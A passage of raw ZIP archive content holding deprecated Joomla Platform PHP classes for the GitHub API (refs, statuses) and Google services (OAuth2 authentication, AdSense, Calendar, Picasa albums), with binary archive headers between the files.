// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list references for a repository.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $namespace Optional sub-namespace to limit the
returned references.
* @param integer $page Page to request
* @param integer $limit Number of results to return per page
*
* @deprecated use data->refs->getList()
*
* @return array
*
* @since 1.7.3
*/
public function getList($user, $repo, $namespace = '', $page =
0, $limit = 0)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/git/refs' . $namespace;
// Send the request.
$response = $this->client->get($this->fetchUrl($path, $page,
$limit));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKLn�[nf�ffgithub/statuses.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage GitHub
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* GitHub API References class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/github` package via Composer instead
*/
class JGithubStatuses extends JGithubObject
{
/**
* Method to create a status.
*
* @param string $user The name of the owner of the GitHub
repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha The SHA1 value for which to set the
status.
* @param string $state The state (pending, success, error or
failure).
* @param string $targetUrl Optional target URL.
* @param string $description Optional description for the status.
*
* @deprecated use repositories->statuses->create()
*
* @return object
*
* @since 3.1.4
*/
public function create($user, $repo, $sha, $state, $targetUrl = null,
$description = null)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
if (!in_array($state, array('pending', 'success',
'error', 'failure')))
{
throw new InvalidArgumentException('State must be one of pending,
success, error or failure.');
}
// Build the request data.
$data = array(
'state' => $state,
);
if (!is_null($targetUrl))
{
$data['target_url'] = $targetUrl;
}
if (!is_null($description))
{
$data['description'] = $description;
}
// Send the request.
$response = $this->client->post($this->fetchUrl($path),
json_encode($data));
// Validate the response code.
if ($response->code != 201)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
/**
* Method to list statuses for an SHA.
*
* @param string $user The name of the owner of the GitHub repository.
* @param string $repo The name of the GitHub repository.
* @param string $sha SHA1 for which to get the statuses.
*
* @deprecated use repositories->statuses->getList()
*
* @return array
*
* @since 3.1.4
*/
public function getList($user, $repo, $sha)
{
// Build the request path.
$path = '/repos/' . $user . '/' . $repo .
'/statuses/' . $sha;
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
// Validate the response code.
if ($response->code != 200)
{
// Decode the error response and throw an exception.
$error = json_decode($response->body);
throw new DomainException($error->message, $response->code);
}
return json_decode($response->body);
}
}
PKLn�[�<o�google/auth/oauth2.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google OAuth authentication class
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleAuthOauth2 extends JGoogleAuth
{
/**
* @var JOAuth2Client OAuth client for the Google authentication
object.
* @since 3.1.4
*/
protected $client;
/**
* Constructor.
*
* @param Registry $options JGoogleAuth options object.
* @param JOAuth2Client $client OAuth client for Google
authentication.
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JOAuth2Client
$client = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client : new
JOAuth2Client($this->options);
}
/**
* Method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
public function authenticate()
{
$this->googlize();
return $this->client->authenticate();
}
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
public function isAuthenticated()
{
return $this->client->isAuthenticated();
}
/**
* Method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
public function query($url, $data = null, $headers = null, $method =
'get')
{
$this->googlize();
return $this->client->query($url, $data, $headers, $method);
}
/**
* Method to fill in Google-specific OAuth settings
*
* @return JOAuth2Client Google-configured Oauth2 client.
*
* @since 3.1.4
*/
protected function googlize()
{
if (!$this->client->getOption('authurl'))
{
$this->client->setOption('authurl',
'https://accounts.google.com/o/oauth2/auth');
}
if (!$this->client->getOption('tokenurl'))
{
$this->client->setOption('tokenurl',
'https://accounts.google.com/o/oauth2/token');
}
if (!$this->client->getOption('requestparams'))
{
$this->client->setOption('requestparams', array());
}
$params = $this->client->getOption('requestparams');
if (!array_key_exists('access_type', $params))
{
$params['access_type'] = 'offline';
}
if ($params['access_type'] == 'offline' &&
$this->client->getOption('userefresh') === null)
{
$this->client->setOption('userefresh', true);
}
if (!array_key_exists('approval_prompt', $params))
{
$params['approval_prompt'] = 'auto';
}
$this->client->setOption('requestparams', $params);
return $this->client;
}
}
PKLn�[�w���google/auth.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Google authentication class abstract
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
abstract class JGoogleAuth
{
/**
* @var \Joomla\Registry\Registry Options for the Google
authentication object.
* @since 3.1.4
*/
protected $options;
/**
* Abstract method to authenticate to Google
*
* @return boolean True on success.
*
* @since 3.1.4
*/
abstract public function authenticate();
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
abstract public function isAuthenticated();
/**
* Abstract method to retrieve data from Google
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request.
* @param array $headers The headers to send with the request.
* @param string $method The type of http request to send.
*
* @return mixed Data from Google.
*
* @since 3.1.4
*/
abstract public function query($url, $data = null, $headers = null,
$method = 'get');
/**
* Get an option from the JGoogleAuth object.
*
* @param string $key The name of the option to get.
*
* @return mixed The option value.
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JGoogleAuth object.
*
* @param string $key The name of the option to set.
* @param mixed $value The option value to set.
*
* @return JGoogleAuth This object for method chaining.
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
}
PKNn�[�#{�/,/,google/data/adsense.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Adsense data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataAdsense extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/adsense');
}
}
/**
* Method to get an Adsense account's settings from Google
*
* @param string $accountID ID of account to get
* @param boolean $subaccounts Include list of subaccounts
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getAccount($accountID, $subaccounts = true)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . ($subaccounts ? '?tree=true' :
'');
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense accounts from Google
*
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listAccounts($options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense clients from Google
*
* @param string $accountID ID of account to list the clients from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listClients($accountID, $options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to get an AdSense AdUnit
*
* @param string $accountID ID of account to get
* @param string $adclientID ID of client to get
* @param string $adunitID ID of adunit to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getUnit($accountID, $adclientID, $adunitID)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/adunits/' . urlencode($adunitID);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Custom Channels for a specific
Adunit
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param string $adunitID ID of adunit to list channels from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listUnitChannels($accountID, $adclientID, $adunitID,
$options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/adunits/' . urlencode($adunitID) . '/customchannels?'
. http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to get an Adsense Channel
*
* @param string $accountID ID of account to get
* @param string $adclientID ID of client to get
* @param string $channelID ID of channel to get
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getChannel($accountID, $adclientID, $channelID)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/';
$url .= urlencode($adclientID) . '/customchannels/' .
urlencode($channelID);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Custom Channels
*
* @param string $accountID ID of account
* @param string $adclientID ID of client to list channels from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listChannels($accountID, $adclientID, $options = array(),
$maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/' . urlencode($adclientID);
$url .= '/customchannels?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Adunits for a specific Custom
Channel
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param string $channelID ID of channel to list units from
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listChannelUnits($accountID, $adclientID, $channelID,
$options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/adclients/' . urlencode($adclientID);
$url .= '/customchannels/' . urlencode($channelID) .
'/adunits?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to generate a report from Google AdSense
*
* @param string $accountID ID of account
* @param string $adclientID ID of client
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listUrlChannels($accountID, $adclientID, $options =
array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID);
$url .= '/adclients/' . urlencode($adclientID) .
'/urlchannels?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of AdSense Channel URLs
*
* @param string $accountID ID of account
* @param mixed $start Start day
* @param mixed $end End day
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of accounts to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws UnexpectedValueException
*/
public function generateReport($accountID, $start, $end = false, $options
= array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
if (is_int($start))
{
$startobj = new DateTime;
$startobj->setTimestamp($start);
}
elseif (is_string($start))
{
$startobj = new DateTime($start);
}
elseif (is_a($start, 'DateTime'))
{
$startobj = $start;
}
else
{
throw new InvalidArgumentException('Invalid start time.');
}
if (!$end)
{
$endobj = new DateTime;
}
elseif (is_int($end))
{
$endobj = new DateTime;
$endobj->setTimestamp($end);
}
elseif (is_string($end))
{
$endobj = new DateTime($end);
}
elseif (is_a($end, 'DateTime'))
{
$endobj = $end;
}
else
{
throw new InvalidArgumentException('Invalid end time.');
}
$options['startDate'] =
$startobj->format('Y-m-d');
$options['endDate'] = $endobj->format('Y-m-d');
unset($options['startIndex']);
$url = 'https://www.googleapis.com/adsense/v1.1/accounts/' .
urlencode($accountID) . '/reports?' . http_build_query($options);
if (strpos($url, '&'))
{
$url .= '&';
}
$i = 0;
$data['rows'] = array();
do
{
$jdata = $this->query($url . 'startIndex=' .
count($data['rows']));
$newdata = json_decode($jdata->body, true);
if ($newdata && array_key_exists('rows', $newdata))
{
$newdata['rows'] = array_merge($data['rows'],
$newdata['rows']);
$data = $newdata;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$i++;
}
while (count($data['rows']) <
$data['totalMatchedRows'] && $i < $maxpages);
return $data;
}
else
{
return false;
}
}
}
PKNn�[�Md�=�=google/data/calendar.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Calendar data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataCalendar extends JGoogleData
{
/**
* Constructor.
*
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JGoogleAuth $auth =
null)
{
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://www.googleapis.com/auth/calendar');
}
}
/**
* Method to remove a calendar from a user's calendar list
*
* @param string $calendarID ID of calendar to delete
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function removeCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$jdata =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/'
. urlencode($calendarID), null, null, 'delete');
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to get a calendar's settings from Google
*
* @param string $calendarID ID of calendar to get.
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$jdata =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendarList/'
. urlencode($calendarID));
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to add a calendar to a user's Google Calendar list
*
* @param string $calendarID New calendar ID
* @param array $options New calendar settings
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function addCalendar($calendarID, $options = array())
{
if ($this->isAuthenticated())
{
$options['id'] = $calendarID;
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList';
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve calendar list from Google
*
* @param array $options Search settings
* @param int $maxpages Maximum number of pages of calendars to
return
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listCalendars($options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList?' .
http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar's settings
*
* @param string $calendarID Calendar ID
* @param array $options Calendar settings
*
* @return mixed Data from Google
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editCalendarSettings($calendarID, $options)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList/' .
urlencode($calendarID);
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to clear a Google Calendar
*
* @param string $calendarID ID of calendar to clear
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function clearCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$data =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/'
. urlencode($calendarID) . '/clear', null, null,
'post');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to delete a calendar from Google
*
* @param string $calendarID ID of calendar to delete.
*
* @return boolean Success or failure
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function deleteCalendar($calendarID)
{
if ($this->isAuthenticated())
{
$data =
$this->query('https://www.googleapis.com/calendar/v3/users/me/calendars/'
. urlencode($calendarID), null, null, 'delete');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to create a Google Calendar
*
* @param string $title New calendar title
* @param array $options New calendar settings
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function createCalendar($title, $options = array())
{
if ($this->isAuthenticated())
{
$options['summary'] = $title;
$url = 'https://www.googleapis.com/calendar/v3/calendars';
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar
*
* @param string $calendarID Calendar ID.
* @param array $options Calendar settings.
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editCalendar($calendarID, $options)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID);
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
$data = json_decode($jdata->body, true);
if ($data && array_key_exists('items', $data))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to delete an event from a Google Calendar
*
* @param string $calendarID ID of calendar to delete from
* @param string $eventID ID of event to delete.
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function deleteEvent($calendarID, $eventID)
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID);
$data = $this->query($url, null, null, 'delete');
if ($data->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$data->body}`.");
}
return true;
}
else
{
return false;
}
}
/**
* Method to get an event from a Google Calendar
*
* @param string $calendarID ID of calendar
* @param string $eventID ID of event to get
* @param array $options Options to send to Google
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function getEvent($calendarID, $eventID, $options = array())
{
if ($this->isAuthenticated())
{
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendarList/';
$url .= urlencode($calendarID) . '/events/' .
urlencode($eventID) . '?' . http_build_query($options);
$jdata = $this->query($url);
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to create a Google Calendar event
*
* @param string $calendarID ID of calendar
* @param mixed $start Event start time
* @param mixed $end Event end time
* @param array $options New event settings
* @param mixed $timezone Timezone for event
* @param boolean $allday Treat event as an all-day event
* @param boolean $notify Notify participants
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws UnexpectedValueException
*/
public function createEvent($calendarID, $start, $end = false, $options =
array(), $timezone = false, $allday = false, $notify = false)
{
if ($this->isAuthenticated())
{
if (!$start)
{
$startobj = new DateTime;
}
elseif (is_int($start))
{
$startobj = new DateTime;
$startobj->setTimestamp($start);
}
elseif (is_string($start))
{
$startobj = new DateTime($start);
}
elseif (is_a($start, 'DateTime'))
{
$startobj = $start;
}
else
{
throw new InvalidArgumentException('Invalid event start
time.');
}
if (!$end)
{
$endobj = $startobj;
}
elseif (is_int($end))
{
$endobj = new DateTime;
$endobj->setTimestamp($end);
}
elseif (is_string($end))
{
$endobj = new DateTime($end);
}
elseif (is_a($end, 'DateTime'))
{
$endobj = $end;
}
else
{
throw new InvalidArgumentException('Invalid event end
time.');
}
if ($allday)
{
$options['start'] = array('date' =>
$startobj->format('Y-m-d'));
$options['end'] = array('date' =>
$endobj->format('Y-m-d'));
}
else
{
$options['start'] = array('dateTime' =>
$startobj->format(DateTime::RFC3339));
$options['end'] = array('dateTime' =>
$endobj->format(DateTime::RFC3339));
}
if ($timezone === true)
{
$options['start']['timeZone'] =
$startobj->getTimezone()->getName();
$options['end']['timeZone'] =
$endobj->getTimezone()->getName();
}
elseif (is_a($timezone, 'DateTimeZone'))
{
$options['start']['timeZone'] =
$timezone->getName();
$options['end']['timeZone'] =
$timezone->getName();
}
elseif (is_string($timezone))
{
$options['start']['timeZone'] = $timezone;
$options['end']['timeZone'] = $timezone;
}
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events' . ($notify ?
'?sendNotifications=true' : '');
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to retrieve a list of events on a Google calendar
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param array $options Search settings
* @param int $maxpages Minimum number of events to retrieve
(more may be retrieved depending on page size)
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listRecurrences($calendarID, $eventID, $options = array(),
$maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url =
'https://www.googleapis.com/calendar/v3/users/me/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID) .
'/instances';
$url .= '?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to retrieve a list of events on a Google calendar
*
* @param string $calendarID Calendar ID
* @param array $options Calendar settings
* @param int $maxpages Cycle through pages of data to generate a
complete list
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function listEvents($calendarID, $options = array(), $maxpages = 1)
{
if ($this->isAuthenticated())
{
$next = array_key_exists('nextPageToken', $options) ?
$options['nextPage'] : null;
unset($options['nextPageToken']);
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events?' . http_build_query($options);
return $this->listGetData($url, $maxpages, $next);
}
else
{
return false;
}
}
/**
* Method to move an event from one calendar to another
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param string $destID Calendar ID
* @param boolean $notify Notify participants of changes
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function moveEvent($calendarID, $eventID, $destID, $notify = false)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/calendar/v3/calendars/' .
urlencode($calendarID) . '/events/' . urlencode($eventID) .
'/move';
$url .= '?destination=' . $destID . ($notify ?
'&sendNotifications=true' : '');
$jdata = $this->query($url, null, null, 'post');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
/**
* Method to edit a Google Calendar event
*
* @param string $calendarID Calendar ID
* @param string $eventID ID of the event to change
* @param array $options Event settings
* @param boolean $notify Notify participants of changes
*
* @return mixed Data from Google.
*
* @since 3.1.4
* @throws UnexpectedValueException
*/
public function editEvent($calendarID, $eventID, $options, $notify =
false)
{
if ($this->isAuthenticated())
{
$url = 'https://www.googleapis.com/calendar/v3/calendars/';
$url .= urlencode($calendarID) . '/events/' .
urlencode($eventID) . ($notify ? '?sendNotifications=true' :
'');
$jdata = $this->query($url, json_encode($options),
array('Content-type' => 'application/json'),
'put');
if ($data = json_decode($jdata->body, true))
{
return $data;
}
else
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
}
else
{
return false;
}
}
}
PKNn�[�/�m'm'google/data/picasa/album.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Google
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Google Picasa data class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/google` package via Composer instead
*/
class JGoogleDataPicasaAlbum extends JGoogleData
{
/**
* @var SimpleXMLElement The album's XML
* @since 3.1.4
*/
protected $xml;
/**
* Constructor.
*
* @param SimpleXMLElement $xml XML from Google
* @param Registry $options Google options object
* @param JGoogleAuth $auth Google data http client object
*
* @since 3.1.4
*/
public function __construct(SimpleXMLElement $xml, Registry $options =
null, JGoogleAuth $auth = null)
{
$this->xml = $xml;
parent::__construct($options, $auth);
if (isset($this->auth) &&
!$this->auth->getOption('scope'))
{
$this->auth->setOption('scope',
'https://picasaweb.google.com/data/');
}
}
/**
* Method to delete a Picasa album
*
* @param mixed $match Check for most up to date album
*
* @return boolean Success or failure.
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
* @throws UnexpectedValueException
*/
public function delete($match = '*')
{
if ($this->isAuthenticated())
{
$url = $this->getLink();
if ($match === true)
{
$match = $this->xml->xpath('./@gd:etag');
$match = $match[0];
}
try
{
$jdata = $this->query($url, null, array('GData-Version'
=> 2, 'If-Match' => $match), 'delete');
}
catch (Exception $e)
{
if (strpos($e->getMessage(), 'Error code 412 received
requesting data: Mismatch: etags') === 0)
{
throw new RuntimeException("Etag match failed: `$match`.",
$e->getCode(), $e);
}
throw $e;
}
if ($jdata->body != '')
{
throw new UnexpectedValueException("Unexpected data received from
Google: `{$jdata->body}`.");
}
$this->xml = null;
return true;
}
else
{
return false;
}
}
/**
* Method to get the album link
*
* @param string $type Type of link to return
*
* @return string Link or false on failure
*
* @since 3.1.4
*/
public function getLink($type = 'edit')
{
$links = $this->xml->link;
foreach ($links as $link)
{
if ($link->attributes()->rel == $type)
{
return (string) $link->attributes()->href;
}
}
